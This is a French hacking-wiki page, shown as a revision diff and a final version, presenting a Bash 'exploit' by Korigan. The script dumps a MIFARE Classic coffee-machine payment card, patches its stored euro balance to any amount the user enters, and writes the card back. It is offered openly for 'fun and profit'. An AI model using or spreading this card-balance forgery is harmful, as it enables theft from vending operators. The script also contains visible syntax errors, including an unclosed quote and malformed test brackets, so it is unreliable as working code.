« NFC Coffee POC » : différence entre les versions

De HackBBS
Aller à la navigation Aller à la recherche
 
(6 versions intermédiaires par le même utilisateur non affichées)
Ligne 7 : Ligne 7 :
# On charge le dump altéré sur la carte
# On charge le dump altéré sur la carte


==== Bash POC ====
==== Exploit Bash ====
Se référer aux [[Opérations de base sur le NFC]] pour plus de précisions.
Se référer aux [[Opérations de base sur le NFC]] pour plus de précisions.


Ligne 25 : Ligne 25 :
  echo "FF est la somme en hexa de DD+EE"
  echo "FF est la somme en hexa de DD+EE"
  BBCC=xxd -s +160 dumpNFC.dmp | head -n 1 | cut -d' ' -f2
  BBCC=xxd -s +160 dumpNFC.dmp | head -n 1 | cut -d' ' -f2
  BB=${AABB:0:2}
  BB=${BBCC:0:2}
  CC=${AABB:2:2}
  CC=${BBCC:2:2}
  if [ [ $BB -eq "55" ] ] then
  if [ [ $BB -eq "55" ] ] then
   AAAAAAA="0000090"
   AAAAAAA="0000090"
Ligne 32 : Ligne 32 :
   AAAAAAA="0000080"
   AAAAAAA="0000080"
  fi
  fi
  read -p "Quel montant(en centimes) doit-on pousser dans la carte?" amount
  read -p "Quel montant(en centimes) doit-on pousser sur la carte?" amount
  amount=`printf '%x' $amount`
  EEDD=`printf '%x' $amount`
  DD=${AABB:${#AABB}-2} #On calcul les centimes
  DD=${EEDD:${#EEDD}-2} #On calcul la valeur hexadécimal des centimes
  EE=$((AABB-DD)) #on calcul les unités
  EE=$((EEDD-DD)) #Calcul hexadécimal des unités
  FF=`printf "%X" $((0x$DD+0x$EE))` #On additionne les deux valeurs
  FF=`printf "%X" $((0x$DD+0x$EE))` #On additionne les deux valeurs
   
   
  echo "Patch du dump..."
  echo "Patch du dump..."
  echo "$AAAAAAA: 00$DD $EE$FF" | xxd -r - 16
  echo "$AAAAAAA: 00$DD $EE$FF" | xxd -r - dumpNFC.dmp
   
   
  echo "On charge le nouveau dump sur la carte..."
  echo "On charge le nouveau dump sur la carte..."
  nfc-mfclassic w X dumpNFC.dmp dumpNFC.dmp
  nfc-mfclassic w X dumpNFC.dmp dumpNFC.dmp
  echo "Done :)"
  echo "Done :)"

Dernière version du 10 septembre 2013 à 18:12

Hack NFC Coffeemaker for fun and profit

Processus

  1. On dump une carte existante
  2. On repère les informations qui nous intéressent
  3. On altère le dump
  4. On charge le dump altéré sur la carte

Exploit Bash

Se référer aux Opérations de base sur le NFC pour plus de précisions.

#!/bin/bash
#Script by Korigan for http://hackbbs.org
#Contact: irc.hackbbs.org,6697,#HackBBS

echo "Dump de la carte..."
mfoc -P 500 -O dumpNFC.dmp
echo "Voici ce que nous recherchons:"
echo "AAAAAAA 00DD EEFF 0000 0000 0000 0000 0000 00CC
echo "00000A0 BBCC 0000 0000 0000 0000 0000 0000 0000" 
echo "Si BB==0x55 alors AAAAAAA==0000090 sinon AAAAAAA==0000080"
echo "CC est un compteur du nombre de transactions réalisées"
echo "DD représente les centimes en hexa"
echo "EE représente les euro en hexa"
echo "FF est la somme en hexa de DD+EE"
BBCC=xxd -s +160 dumpNFC.dmp | head -n 1 | cut -d' ' -f2
BB=${BBCC:0:2}
CC=${BBCC:2:2}
if [ [ $BB -eq "55" ] ] then
  AAAAAAA="0000090"
else
  AAAAAAA="0000080"
fi
read -p "Quel montant(en centimes) doit-on pousser sur la carte?" amount
EEDD=`printf '%x' $amount`
DD=${EEDD:${#EEDD}-2} #On calcul la valeur hexadécimal des centimes
EE=$((EEDD-DD)) #Calcul hexadécimal des unités
FF=`printf "%X" $((0x$DD+0x$EE))` #On additionne les deux valeurs

echo "Patch du dump..."
echo "$AAAAAAA: 00$DD $EE$FF" | xxd -r - dumpNFC.dmp

echo "On charge le nouveau dump sur la carte..."
nfc-mfclassic w X dumpNFC.dmp dumpNFC.dmp
echo "Done :)"